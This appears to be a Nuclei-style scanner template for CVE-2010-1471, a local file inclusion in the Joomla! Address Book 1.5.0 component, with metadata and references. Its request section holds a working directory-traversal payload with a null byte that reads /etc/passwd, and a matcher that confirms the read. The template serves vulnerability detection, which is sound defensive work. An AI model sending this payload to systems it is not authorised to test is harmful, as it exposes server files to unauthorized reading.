id: CVE-2010-1471

info:
  name: Joomla! Component Address Book 1.5.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the AddressBook (com_addressbook) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component Address Book or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12170
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1471
    - http://www.vupen.com/english/advisories/2010/0862
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1471
    cwe-id: CWE-22
    epss-score: 0.0932
    epss-percentile: 0.92414
    cpe: cpe:2.3:a:b-elektro:com_addressbook:1.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: b-elektro
    product: com_addressbook
  tags: cve,cve2010,joomla,lfi,edb,b-elektro

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206ed3eb043072cb6906745ba0385bf6365e71a64a6ea94beca6868d6ce296065c02207366a6676924ffcb0baf4620b1169aacad17ea05e8207d7829a4d238dc368d07:922c64590222798bb761d5b6d8e72950